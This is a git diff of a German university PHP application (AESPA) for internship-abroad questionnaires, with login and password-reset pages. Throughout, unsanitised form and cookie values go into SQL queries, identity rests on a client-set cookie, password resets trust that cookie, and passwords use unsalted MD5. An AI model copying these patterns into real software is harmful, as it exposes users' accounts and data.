+ + + + +"; +break; +case "auswertung": + +$fehler = TRUE; + +$db = dbconnect(); + + +## Persönliche Angaben ## +$mail=$_POST['mail']; +$eiver_rueckfr=$_POST['eiver_rueckfr']; + +if($eiver_rueckfr == ''){ + $eiver_rueckfr = 'N'; +} + +$sql = $db->query ("DELETE FROM aesp_pers_ang WHERE uid = '$uid1'"); +$sql = $db->query ("UPDATE kurs.stud SET mail2 = '$mail' WHERE uid = '$uid1'"); +$sql = $db->query ("INSERT INTO aesp_pers_ang + (uid, einverst) + VALUES + ('$uid1', '$eiver_rueckfr')"); + + +if(!$sql){ + $fehler = FALSE; +} + +## Bewerbung ## +$kontinent=$_POST['dhtmlgoodies_country']; +$land=$_POST['dhtmlgoodies_city']; +$stadt=$_POST['stadt']; +$adresse=$_POST['kontaktadresse']; +$ansprechpart=$_POST['ansprechpart']; +$abteilung=$_POST['abteilung']; + + + +$sql = $db->query ("DELETE FROM aesp_bewerbung WHERE uid = '$uid1'"); +$sql = $db->query ("INSERT INTO aesp_bewerbung + (uid, kontinent, land, stadt, adresse, ansprechpartner, abteilung) + VALUES + ('$uid1', '$kontinent', '$land', '$stadt', '$adresse', '$ansprechpart', '$abteilung')"); +if(!$sql){ + $fehler = FALSE; +} + + + +## Allgemein ## +$sql = $db->query ("DELETE FROM aesp_allgemein WHERE uid = '$uid1'"); + +$zeitraum_von="$_POST[von_jahr]-$_POST[von_monat]-$_POST[von_tag]"; +$zeitraum_bis="$_POST[bis_jahr]-$_POST[bis_monat]-$_POST[bis_tag]"; +$abteilung_genau=$_POST['abteilung_genau']; +$platz_gefunden=$_POST['platz_gefunden']; +$visum=$_POST['visum']; +$transport=$_POST['transport']; +$beginn_vorbereitung=$_POST['vorbereitungsbeginn']; +$erasmus=$_POST['erasmus']; +$auslandskostenzuschlag=$_POST['auslandszuschlag']; +$bereich=$_POST['bereich']; +$beschreibung=$_POST['stellenbeschreibung']; +$aufgaben=$_POST['aufgaben']; + + +$sql = $db->query ("INSERT INTO aesp_allgemein + (uid, zeitraum_von, zeitraum_bis, abteilung_genau, platz_gefunden, visum, transport, beginn_vorbereitung, erasmus, auslandskostenzuschlag, bereich, beschreibung, aufgaben) + VALUES + ('$uid1', '$zeitraum_von', '$zeitraum_bis', '$abteilung_genau', '$platz_gefunden', '$visum', '$transport', '$beginn_vorbereitung', '$erasmus', '$auslandskostenzuschlag', '$bereich', '$beschreibung', '$aufgaben')"); + + + +if(!$sql){ + $fehler = FALSE; +} + + +## Unterkunft ## +$sql = $db->query ("DELETE FROM aesp_unterkunft WHERE uid = '$uid1'"); + +$wo_gefunden=$_POST['wo_gefunden']; +$ag_hilfe=$_POST['ag_hilfe']; +$kosten= $_POST['kosten']; + +$sql = $db->query ("INSERT INTO aesp_unterkunft + (uid, wo_gefunden, ag_hilfe, kosten) + VALUES + ('$uid1', '$wo_gefunden', '$ag_hilfe', '$kosten')"); + + +if(!$sql){ + $fehler = FALSE; +} + + +## Bewertung ## +$sql = $db->query ("DELETE FROM aesp_bewertung WHERE uid = '$uid1'"); +$einbindung=$_POST['einbindung']; +$aufnahme=$_POST['aufnahme']; +$interessant= $_POST['interessant']; +$gefordert=$_POST['gefordert']; +$dazulernen=$_POST['dazulernen']; +$sprachprobleme=$_POST['sprachprobleme']; +$erfahrungen=$_POST['erfahrungen']; +$schwierigkeiten=$_POST['schwierigkeiten']; + + +$sql = $db->query ("INSERT INTO aesp_bewertung + (uid, einbindung, aufnahme, interessant, gefordert, dazulernen, sprachprobleme, erfahrungen, schwierigkeiten) + VALUES + ('$uid1', '$einbindung', '$aufnahme', '$interessant', '$gefordert', '$dazulernen', '$sprachprobleme', '$erfahrungen', '$schwierigkeiten')"); +if(!$sql){ + $fehler = FALSE; +} + +## Freizeit ## +$sql = $db->query ("DELETE FROM aesp_freizeit WHERE uid = '$uid1'"); +$lebenshaltungskosten=$_POST['lebenshaltungskosten']; +$unternehmen=$_POST['unternehmen']; +$kontakte= $_POST['kontakte']; +$schwierigkeit_kontakte=$_POST['schwierigkeit_kontakte']; + +$sql = $db->query ("INSERT INTO aesp_freizeit + (uid, lebenshaltungskosten, unternehmen, kontakte, schwierigkeit_kontakte) + VALUES + ('$uid1', '$lebenshaltungskosten', '$unternehmen', '$kontakte', '$schwierigkeit_kontakte')"); +if(!$sql){ + $fehler = FALSE; +} + + +## Schlussbemerkung +$sql = $db->query ("DELETE FROM aesp_schluss WHERE uid = '$uid1'"); + + + +$letzte_worte=$_POST['letzte_worte']; +$sql = $db->query ("INSERT INTO aesp_schluss + (uid, letzte_worte) + VALUES + ('$uid1', '$letzte_worte')"); +if(!$sql){ + $fehler = FALSE; +} + + +if($fehler == TRUE){ // wenn alle Inserts erfolgreich durchgelaufen sind, dann erfolgsmeldung +echo" + + + + + +Eingabefehler + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Einbindung
+
+
+
+

Herzlichen Dank! +
+ Wir möchten uns ganz herzlich bei Dir dafür bedanken, dass Du die Mühe auf + dich genommen hast, diesen Bogen auszufüllen und somit allen + Studierenden nach dir einiges an Sorgen und Ängsten genommen + hast!
+ Wenn Du Lust hast, schau einfach mal rein auf die Seite des + Akademischen Auslandsamtes. Dort wird demnächst neben allerlei + hilfreichen Dingen auch ein Forum und das Ergebnis dieses Bogens + zu finden sein! Wir wünschen Dir noch viel Freude und auch viel + Erfolg auf Deinem weiteren Weg!    + AESPA +

+

+ überarbeiten +   +   +   +   +   + Startseite +

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +}else{ +echo" + + + + + +Eingabefehler + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Fehler
+
+
+
+

Die Daten konnten nicht eingebunden werden! +
+ Setzen Sie sich bitte mit dem AESPA in Verbindung! +
+

+

+ zurück +   +   +   +   +   + Logout +

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +} + + +} +?> \ No newline at end of file diff --git a/fragebogen_del.php b/fragebogen_del.php new file mode 100755 index 0000000..65b2701 --- /dev/null +++ b/fragebogen_del.php @@ -0,0 +1,381 @@ +query("SELECT 1 FROM aesp_admin_rechte_zuord WHERE uid = '$uid' AND aesp_admin_rolle = 'a_fragedel'"); +$row = $result->fetch_array(); +if ($row[0] != 1){ include("aespa/rechte.php"); exit;} +// Rechteüberprüfung ende// Rechteüberprüfung ende + +if (isset($_GET['action'])) + $action = $_GET['action']; +else + $action = ""; + +switch($action){ +default: + +echo " + + + + +>Student bearbeiten + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Fragebogen löschen
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+   +

  +

+

+

+

+

  +

+

+

+

+

+ "; + $db = dbconnect(); + $query = "SELECT a.uid, a.nachname, a.vorname, a.ag, a.jahrgang, a.durchgefallen + FROM kurs.stud a, aespa.aesp_pers_ang b + WHERE a.durchgefallen != 'Y' + AND a.uid = b.uid + ORDER BY a.nachname"; + $result = $db->query ($query) + or die ("Cannot execute query"); + echo " +

+

+

+

+

+   +

+

+ + +
+ +   +
+ + + +
+   +
+
+
+
+ + +
+
+
+ +"; + +break; +case "del1": + +$deluid = $_POST[stud_uid]; + +setcookie("ck_studuid", ""); +setcookie("ck_studuid", $deluid); + + +echo" + + + + + Zugeordnete Studenten + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+ +
+ Fragebogen wirklich löschen?
+
+
+ + + "; + $db = dbconnect(); + + $query = "SELECT vorname, nachname, ag, jahrgang + FROM kurs.stud + WHERE uid = '$deluid' + "; + + $result = $db->query($query) + or die ("Cannot execute query"); + $row2 = $result->fetch_array(); + + echo" + +

+ + + + +
+

+ Möchten sie den Fragebogen von
$row2[vorname] $row2[nachname] ($row2[ag]/$row2[jahrgang])
wirklich löschen?

+ + +   + + +

+

+
+ + +
+
+
+ +"; + +break; +case "del2": + +$deluid = $_COOKIE["ck_studuid"]; + +$sql1 = $db->query ("DELETE FROM aesp_schluss WHERE uid = '$deluid'"); +$sql2 = $db->query ("DELETE FROM aesp_freizeit WHERE uid = '$deluid'"); +$sql3 = $db->query ("DELETE FROM aesp_bewertung WHERE uid = '$deluid'"); +$sql4 = $db->query ("DELETE FROM aesp_unterkunft WHERE uid = '$deluid'"); +$sql5 = $db->query ("DELETE FROM aesp_allgemein WHERE uid = '$deluid'"); +$sql6 = $db->query ("DELETE FROM aesp_bewerbung WHERE uid = '$deluid'"); +$sql7 = $db->query ("DELETE FROM aesp_pers_ang WHERE uid = '$deluid'"); + + +if (!$sql1 or !$sql2 or !$sql3 or !$sql4 or !$sql5 or !$sql6 or !$sql7) +{ + echo " + + + + + Fehlgeschlagen + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Fehlgeschlagen
+
+
+
+

Der Fragebogen konnte aufgrund eines
internen Fehlers nicht vollstädig gelöscht werden!
+

+

+
+

+

+


+

+
+
+ + +
+
+
+ + "; + exit; +} + +echo " + + + + +Aktualisierung beendet + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ +
+ Aktualisierung beendet
+
+
+
+

Der Fragebogen wurde gelöscht! +

+

+
+

+

+


+

+
+
+ + +
+
+
+ +"; + +} //Ende Action Abfrage +?> \ No newline at end of file diff --git a/getSubCat.php b/getSubCat.php new file mode 100755 index 0000000..d57fa25 --- /dev/null +++ b/getSubCat.php @@ -0,0 +1,31 @@ +query ($query); + + +##$query1 = $db->query("SELECT ukid FROM quelle WHERE lid='$lid'"); +##$result1 = $query1->fetch_array(); + + + +if(isset($_GET['countryCode'])){ + + + #echo "obj.options[obj.options.length] = new Option('[alle]','%');\n"; + while ($row = $result->fetch_array()){ + ##echo "obj.options[obj.options.length] = new Option('$row[bezeichnung]','$row[ukid]'";if($result1[ukid] == $row[ukid]){echo ",'selected'";}echo");\n"; + + echo "obj.options[obj.options.length] = new Option('$row[land]','$row[lid]'";if($row[lid] == $lid){echo ",'selected'";}echo");\n"; + } + +} + +?> diff --git a/getSubCat_search.php b/getSubCat_search.php new file mode 100755 index 0000000..ebf83cb --- /dev/null +++ b/getSubCat_search.php @@ -0,0 +1,34 @@ +query ($query); + + +##$query1 = $db->query("SELECT ukid FROM quelle WHERE lid='$lid'"); +##$result1 = $query1->fetch_array(); + + + +if(isset($_GET['countryCode'])){ + + + echo "obj.options[obj.options.length] = new Option('Alle','%');\n"; + while ($row = $result->fetch_array()){ + #echo "obj.options[obj.options.length] = new Option('$row[land]','$row[lid]'";if($row[lid] == $lid){echo ",'selected'";}echo");\n"; + echo "obj.options[obj.options.length] = new Option('$row[land]','$row[lid]');\n"; + } + +} + +?> diff --git a/hauptframe.htm b/hauptframe.htm new file mode 100755 index 0000000..92799df --- /dev/null +++ b/hauptframe.htm @@ -0,0 +1,23 @@ + + + +AESPA online + + + + + + + + + + <body> + + <p>Diese Seite verwendet Frames. Frames werden von Ihrem Browser aber nicht + unterst&uuml;tzt.</p> + + </body> + + + + \ No newline at end of file diff --git a/hauptframe.php b/hauptframe.php new file mode 100755 index 0000000..d73102c --- /dev/null +++ b/hauptframe.php @@ -0,0 +1,62 @@ + + + + +Willkommen + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+   +
+
Herzlich Willkommen
+
+
+
+

Sie befinden sich bei AESPA Online. +

+

+ Treffen Sie im linken Menü bitte Ihre Auswahl! +

+

+ +

+


+

+
+
+ + +
+


+  

+
+
+ +"; +?> \ No newline at end of file diff --git a/images/Font.txt b/images/Font.txt new file mode 100755 index 0000000..74a03ba --- /dev/null +++ b/images/Font.txt @@ -0,0 +1,4 @@ +Button Schriftart + +Verdana fett 12 +Anti Aliasing \ No newline at end of file diff --git a/images/Thumbs.db b/images/Thumbs.db new file mode 100755 index 0000000..2c72691 Binary files /dev/null and b/images/Thumbs.db differ diff --git a/images/aenderung_stellen.png b/images/aenderung_stellen.png new file mode 100755 index 0000000..ff601d2 Binary files /dev/null and b/images/aenderung_stellen.png differ diff --git a/images/aespa_logo.jpg b/images/aespa_logo.jpg new file mode 100755 index 0000000..cba37ba Binary files /dev/null and b/images/aespa_logo.jpg differ diff --git a/images/b_abschicken.gif b/images/b_abschicken.gif new file mode 100755 index 0000000..39302b3 Binary files /dev/null and b/images/b_abschicken.gif differ diff --git a/images/b_login.gif b/images/b_login.gif new file mode 100755 index 0000000..c46a027 Binary files /dev/null and b/images/b_login.gif differ diff --git a/images/blank.gif b/images/blank.gif new file mode 100755 index 0000000..ef3e502 Binary files /dev/null and b/images/blank.gif differ diff --git a/images/box_bottom.gif b/images/box_bottom.gif new file mode 100755 index 0000000..485b3db Binary files /dev/null and b/images/box_bottom.gif differ diff --git a/images/box_e1.gif b/images/box_e1.gif new file mode 100755 index 0000000..01165dc Binary files /dev/null and b/images/box_e1.gif differ diff --git a/images/box_e1a.gif b/images/box_e1a.gif new file mode 100755 index 0000000..6c77755 Binary files /dev/null and b/images/box_e1a.gif differ diff --git a/images/box_e2.gif b/images/box_e2.gif new file mode 100755 index 0000000..195e00b Binary files /dev/null and b/images/box_e2.gif differ diff --git a/images/box_e2a.gif b/images/box_e2a.gif new file mode 100755 index 0000000..ee40cfc Binary files /dev/null and b/images/box_e2a.gif differ diff --git a/images/box_e3.gif b/images/box_e3.gif new file mode 100755 index 0000000..f48cd70 Binary files /dev/null and b/images/box_e3.gif differ diff --git a/images/box_e4.gif b/images/box_e4.gif new file mode 100755 index 0000000..8db3155 Binary files /dev/null and b/images/box_e4.gif differ diff --git a/images/box_l.gif b/images/box_l.gif new file mode 100755 index 0000000..9d50c32 Binary files /dev/null and b/images/box_l.gif differ diff --git a/images/box_r.gif b/images/box_r.gif new file mode 100755 index 0000000..2b03b5e Binary files /dev/null and b/images/box_r.gif differ diff --git a/images/box_top.gif b/images/box_top.gif new file mode 100755 index 0000000..c000ed4 Binary files /dev/null and b/images/box_top.gif differ diff --git a/images/box_top1.gif b/images/box_top1.gif new file mode 100755 index 0000000..f0d5356 Binary files /dev/null and b/images/box_top1.gif differ diff --git a/images/cross.jpg b/images/cross.jpg new file mode 100755 index 0000000..49a652b Binary files /dev/null and b/images/cross.jpg differ diff --git a/images/daten_prfen.gif b/images/daten_prfen.gif new file mode 100755 index 0000000..17be105 Binary files /dev/null and b/images/daten_prfen.gif differ diff --git a/images/daten_pruefen.png b/images/daten_pruefen.png new file mode 100755 index 0000000..a4f0460 Binary files /dev/null and b/images/daten_pruefen.png differ diff --git a/images/drop.png b/images/drop.png new file mode 100755 index 0000000..6fc4d3b Binary files /dev/null and b/images/drop.png differ diff --git a/images/drop_grey.png b/images/drop_grey.png new file mode 100755 index 0000000..1a769f7 Binary files /dev/null and b/images/drop_grey.png differ diff --git a/images/edit.png b/images/edit.png new file mode 100755 index 0000000..05711a0 Binary files /dev/null and b/images/edit.png differ diff --git a/images/edit_grey.png b/images/edit_grey.png new file mode 100755 index 0000000..2a146c8 Binary files /dev/null and b/images/edit_grey.png differ diff --git a/images/export.gif b/images/export.gif new file mode 100755 index 0000000..891f86a Binary files /dev/null and b/images/export.gif differ diff --git a/images/gueltig.gif b/images/gueltig.gif new file mode 100755 index 0000000..5b89a5b Binary files /dev/null and b/images/gueltig.gif differ diff --git a/images/gueltig.png b/images/gueltig.png new file mode 100755 index 0000000..ad1ab10 Binary files /dev/null and b/images/gueltig.png differ diff --git a/images/i_login.gif b/images/i_login.gif new file mode 100755 index 0000000..2807445 Binary files /dev/null and b/images/i_login.gif differ diff --git a/images/ico_pdf.gif b/images/ico_pdf.gif new file mode 100755 index 0000000..d76e065 Binary files /dev/null and b/images/ico_pdf.gif differ diff --git a/images/ja.gif b/images/ja.gif new file mode 100755 index 0000000..d54c74b Binary files /dev/null and b/images/ja.gif differ diff --git a/images/keine_aenderung.png b/images/keine_aenderung.png new file mode 100755 index 0000000..8734cce Binary files /dev/null and b/images/keine_aenderung.png differ diff --git a/images/leerer_zeitraum.gif b/images/leerer_zeitraum.gif new file mode 100755 index 0000000..989f6c0 Binary files /dev/null and b/images/leerer_zeitraum.gif differ diff --git a/images/left.gif b/images/left.gif new file mode 100755 index 0000000..decaa82 Binary files /dev/null and b/images/left.gif differ diff --git a/images/left_first.gif b/images/left_first.gif new file mode 100755 index 0000000..47b4355 Binary files /dev/null and b/images/left_first.gif differ diff --git a/images/left_first_grey.gif b/images/left_first_grey.gif new file mode 100755 index 0000000..45c3caa Binary files /dev/null and b/images/left_first_grey.gif differ diff --git a/images/left_grey.gif b/images/left_grey.gif new file mode 100755 index 0000000..2ef4b02 Binary files /dev/null and b/images/left_grey.gif differ diff --git a/images/mail.png b/images/mail.png new file mode 100755 index 0000000..ab4cb51 Binary files /dev/null and b/images/mail.png differ diff --git a/images/nein.gif b/images/nein.gif new file mode 100755 index 0000000..c5828cc Binary files /dev/null and b/images/nein.gif differ diff --git a/images/ok.gif b/images/ok.gif new file mode 100755 index 0000000..68323c8 Binary files /dev/null and b/images/ok.gif differ diff --git a/images/right.gif b/images/right.gif new file mode 100755 index 0000000..1d54d1c Binary files /dev/null and b/images/right.gif differ diff --git a/images/right_grey.gif b/images/right_grey.gif new file mode 100755 index 0000000..436774e Binary files /dev/null and b/images/right_grey.gif differ diff --git a/images/right_last.gif b/images/right_last.gif new file mode 100755 index 0000000..537a35f Binary files /dev/null and b/images/right_last.gif differ diff --git a/images/right_last_grey.gif b/images/right_last_grey.gif new file mode 100755 index 0000000..f73535b Binary files /dev/null and b/images/right_last_grey.gif differ diff --git a/images/sidebox-bar-left.gif b/images/sidebox-bar-left.gif new file mode 100755 index 0000000..f94520e Binary files /dev/null and b/images/sidebox-bar-left.gif differ diff --git a/images/sidebox-bar-px.gif b/images/sidebox-bar-px.gif new file mode 100755 index 0000000..00777b5 Binary files /dev/null and b/images/sidebox-bar-px.gif differ diff --git a/images/sidebox-bar-right.gif b/images/sidebox-bar-right.gif new file mode 100755 index 0000000..9120f3a Binary files /dev/null and b/images/sidebox-bar-right.gif differ diff --git a/images/sidebox-bottom.gif b/images/sidebox-bottom.gif new file mode 100755 index 0000000..4f5dd55 Binary files /dev/null and b/images/sidebox-bottom.gif differ diff --git a/images/sidebox-title-bg.gif b/images/sidebox-title-bg.gif new file mode 100755 index 0000000..b3b1b2e Binary files /dev/null and b/images/sidebox-title-bg.gif differ diff --git a/images/sidebox-title-left.gif b/images/sidebox-title-left.gif new file mode 100755 index 0000000..21219c8 Binary files /dev/null and b/images/sidebox-title-left.gif differ diff --git a/images/sidebox-title-left1.gif b/images/sidebox-title-left1.gif new file mode 100755 index 0000000..c43bafe Binary files /dev/null and b/images/sidebox-title-left1.gif differ diff --git a/images/sidebox-title-right.gif b/images/sidebox-title-right.gif new file mode 100755 index 0000000..eaf683b Binary files /dev/null and b/images/sidebox-title-right.gif differ diff --git a/images/suchen.gif b/images/suchen.gif new file mode 100755 index 0000000..868a8d4 Binary files /dev/null and b/images/suchen.gif differ diff --git a/images/termin_erf.gif b/images/termin_erf.gif new file mode 100755 index 0000000..33012ec Binary files /dev/null and b/images/termin_erf.gif differ diff --git a/images/veranst_bearb.gif b/images/veranst_bearb.gif new file mode 100755 index 0000000..4ce605b Binary files /dev/null and b/images/veranst_bearb.gif differ diff --git a/images/veranst_erf.gif b/images/veranst_erf.gif new file mode 100755 index 0000000..781c210 Binary files /dev/null and b/images/veranst_erf.gif differ diff --git a/images/weitere_aend.gif b/images/weitere_aend.gif new file mode 100755 index 0000000..6447218 Binary files /dev/null and b/images/weitere_aend.gif differ diff --git a/images/zurueck.gif b/images/zurueck.gif new file mode 100755 index 0000000..ce221f3 Binary files /dev/null and b/images/zurueck.gif differ diff --git a/index.php b/index.php new file mode 100755 index 0000000..43e5e9c --- /dev/null +++ b/index.php @@ -0,0 +1,5 @@ + +"; +?> \ No newline at end of file diff --git a/index.php__ b/index.php__ new file mode 100755 index 0000000..25f6431 --- /dev/null +++ b/index.php__ @@ -0,0 +1,556 @@ + + + + + +Login Aespa + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ + Login AESPA
+ + Im System können Sie den Fragebogen zum Auslandspraktium ausfüllen
+
+
+
+

Folgende Loginkriterien sind zu beachten:

+
    +
  • Der Logindaten entsprechen denen des Anmeldesystems der FH-Ludwigsburg
  • +
  • Der Benutzername darf keine Zusätze enthalten (.stud05 usw.)
  • +
+

+

+

+

+
+ + + + + + + + + + + + + +
+ Benutzername + +
+ Passwort + +
+
+
+


+

+
+
+ + +
+
+
+ +"; +break; +case "anmeld": + +$uid = strtolower($_POST[uid]); +$pwd = $_POST[pwd]; + +dbconnect(); + +$result = mysql_query("SELECT LOWER(uid) uid, Pwd FROM kurs.stud where uid=\"$uid\""); +$row = mysql_fetch_array($result); + + + +// Abfrage, was tun wenn Felder leer sind bzw. Passwort falsch ist +if ($uid == "" or $_POST['pwd'] == "") +{ +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Fehlerhafte Eingabe
+
+
+
+

Es müssen alle Felder ausgefüllt werden +

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ + +"; +exit; +} + +if ($uid != $row[uid]) { +echo" + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Falscher Benutzername
+
+
+
+

Der Anmeldenamen ist im System nicht vorhanden!
+ Wenden Sie sich bitte an + $ansprechpart

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ + + + +"; +exit; +} + +$passwd = md5($_POST['pwd']); + +if ($passwd != $row[Pwd]){ + +// Cokkie hier, falls PW generiert werden soll +setcookie("uid1",""); +setcookie("uid1","$row[uid]"); + +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Falsches Passwort
+
+
+
+

Das eingegebene Passwort ist falsch!

+ Sie können sich ein neues Passwort an Ihre
FH-Mailadresse schicken lassen: Neues Passwort +
+
+ Bei weiteren Problemen wenden Sie sich bitte
+ an $ansprechpart

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +} + + +setcookie("uid1",""); +setcookie("uid1","$row[uid]"); + +echo " + +"; + +break; +case "pass_gen": + + +$uid1=$_COOKIE["uid1"]; + +$pool = "qwertzupasdfghkyxcvbnm"; +$pool .= "23456789"; +$pool .= "WERTZUPLKJHGFDSAYXCVBNM"; + +srand ((double)microtime()*1000000); +for($index = 0; $index < 7; $index++) +{ + $pass_word .= substr($pool,(rand()%(strlen ($pool))), 1); +} + +$new_pw_md5=md5($pass_word); + +$sql = mysql_query ("UPDATE stud SET pwd='$new_pw_md5' WHERE uid='$uid1'"); + +// Nachricht über Passwortrücksetzung: Hinzugefügt 19.09.2006 + $result2 = mysql_query("SELECT uid, vorname, nachname, mail FROM kurs.stud where uid='$uid1'"); + $row2 = mysql_fetch_array($result2); + + $empfaenger = "$row2[mail]"; + $betreff = "Kurssystem: Passwort zurückgesetzt"; + $text = " + + + Passwort zurückgesetzt + + + + Guten Tag $row2[vorname] $row2[nachname]!

+ Sie haben Ihr Passwort im Kurssystem zurückgesetzt!
+ Nachfolgend finden Sie Ihre neuen Zugangsdaten: +
+
+ + + + + + + + + +
+ + Benutzerkennung: + + + + $row2[uid] + +
+ + Passwort: + + + + $pass_word + +
+
+ Bitte beachten Sie, dass zwischen Groß- und
+ Kleinschreibung unterschieden wird. +

+ Ändern Sie bitte zu Ihrer eigenen Sicherheit das
+ Passwort nach dem ersten Login. +

+ Link zum Anmeldesystem: Kurssystem +

+ Diese Mail wurde automatisch generiert!
+ Antworten Sie daher nicht auf diese Mail
+
+ Vielen Dank + + "; + + + $headers = "MIME-Version: 1.0\r\n"; + $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; + + $return = @mail($empfaenger, $betreff, $text, $headers); + +// ENDE Nachricht über Passwortrücksetzung + +if($return){ +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Bestätigung
+
+
+
+

Mailversand!

+ Ihr neues Passwort wurde an $row2[mail] geschickt. +

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +}else{ +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Versandfehler
+
+
+
+

Versandfehler!

+ Das Passwort konnte nicht verschickt werden! +
+
+ Bitte wenden Sie sich an $ansprechpart

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +} + +} // Ende IF von Action Abfrage +?> \ No newline at end of file diff --git a/index_db.php b/index_db.php new file mode 100755 index 0000000..0cfa186 --- /dev/null +++ b/index_db.php @@ -0,0 +1,561 @@ +query("SELECT wert1, wert2 FROM kurs.parameter WHERE pid='1'"); +$uhd = $ansp->fetch_array(); + + +$ansprechpart = "$uhd[wert1]"; // Ansprechpartner bei Probleme +$helpmail = "$uhd[wert2]"; // Kontaktmailadresse bei Problemen + + if (isset($_GET['action'])) + $action = $_GET['action']; + else + $action = ""; + + switch($action){ + default: +echo" + + + + + + +Login Aespa + + + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ + Login AESPA
+ + Im System können Sie den Fragebogen zum Auslandspraktium ausfüllen
+
+
+
+

Folgende Loginkriterien sind zu beachten:

+
    +
  • Der Logindaten entsprechen denen des Anmeldesystems der FH-Ludwigsburg
  • +
  • Der Benutzername darf keine Zusätze enthalten (.stud05 usw.)
  • +
+

+

+

+

+
+ + + + + + + + + + + + + +
+ Benutzername + +
+ Passwort + +
+
+
+


+

+
+
+ + +
+
+
+ +"; +break; +case "anmeld": + +$uid = strtolower($_POST[uid]); +$pwd = $_POST[pwd]; + +$db = dbconnect(); + +$result = $db->query("SELECT LOWER(uid) uid, Pwd FROM kurs.stud where uid=\"$uid\""); +$row = $result->fetch_array(); + + + +// Abfrage, was tun wenn Felder leer sind bzw. Passwort falsch ist +if ($uid == "" or $_POST['pwd'] == "") +{ +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Fehlerhafte Eingabe
+
+
+
+

Es müssen alle Felder ausgefüllt werden +

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ + +"; +exit; +} + +if ($uid != $row[uid]) { +echo" + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Falscher Benutzername
+
+
+
+

Der Anmeldenamen ist im System nicht vorhanden!
+ Wenden Sie sich bitte an + $ansprechpart

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ + + + +"; +exit; +} + +$passwd = md5($_POST['pwd']); + +if ($passwd != $row[Pwd]){ + +// Cokkie hier, falls PW generiert werden soll +setcookie("uid1",""); +setcookie("uid1","$row[uid]"); + +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Falsches Passwort
+
+
+
+

Das eingegebene Passwort ist falsch!

+ Sie können sich ein neues Passwort an Ihre
FH-Mailadresse schicken lassen: Neues Passwort +
+
+ Bei weiteren Problemen wenden Sie sich bitte
+ an $ansprechpart

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +} + + +setcookie("uid1",""); +setcookie("uid1","$row[uid]"); + +echo " + +"; + +break; +case "pass_gen": + + +$uid1=$_COOKIE["uid1"]; + +$pool = "qwertzupasdfghkyxcvbnm"; +$pool .= "23456789"; +$pool .= "WERTZUPLKJHGFDSAYXCVBNM"; + +srand ((double)microtime()*1000000); +for($index = 0; $index < 7; $index++) +{ + $pass_word .= substr($pool,(rand()%(strlen ($pool))), 1); +} + +$new_pw_md5=md5($pass_word); +$sql = $db->query("UPDATE stud SET pwd='$new_pw_md5' WHERE uid='$uid1'"); + + + + + +// Nachricht über Passwortrücksetzung: Hinzugefügt 19.09.2006 +$result2 = $db->query("SELECT uid, vorname, nachname, mail FROM kurs.stud where uid='$uid1'"); +$row2 = $result2->fetch_array(); + + $empfaenger = "$row2[mail]"; + $betreff = "Kurssystem: Passwort zurückgesetzt"; + $text = " + + + Passwort zurückgesetzt + + + + Guten Tag $row2[vorname] $row2[nachname]!

+ Sie haben Ihr Passwort im Kurssystem zurückgesetzt!
+ Nachfolgend finden Sie Ihre neuen Zugangsdaten: +
+
+ + + + + + + + + +
+ + Benutzerkennung: + + + + $row2[uid] + +
+ + Passwort: + + + + $pass_word + +
+
+ Bitte beachten Sie, dass zwischen Groß- und
+ Kleinschreibung unterschieden wird. +

+ Ändern Sie bitte zu Ihrer eigenen Sicherheit das
+ Passwort nach dem ersten Login. +

+ Link zum Anmeldesystem: Kurssystem +

+ Diese Mail wurde automatisch generiert!
+ Antworten Sie daher nicht auf diese Mail
+
+ Vielen Dank + + "; + + + $headers = "MIME-Version: 1.0\r\n"; + $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; + + $return = @mail($empfaenger, $betreff, $text, $headers); + +// ENDE Nachricht über Passwortrücksetzung + +if($return){ +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Bestätigung
+
+
+
+

Mailversand!

+ Ihr neues Passwort wurde an $row2[mail] geschickt. +

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
+ +"; +exit; +}else{ +echo " + + + + + +Login Stellenantragssystem + + + + + + +
+
+ + + + + + + + + + + + + + + + + +
+ + +
+ Versandfehler
+
+
+
+

Versandfehler!

+ Das Passwort konnte nicht verschickt werden! +
+
+ Bitte wenden Sie sich an $ansprechpart

+

+
+

+

+

+

+

+


+

+
+
+ + +
+
+
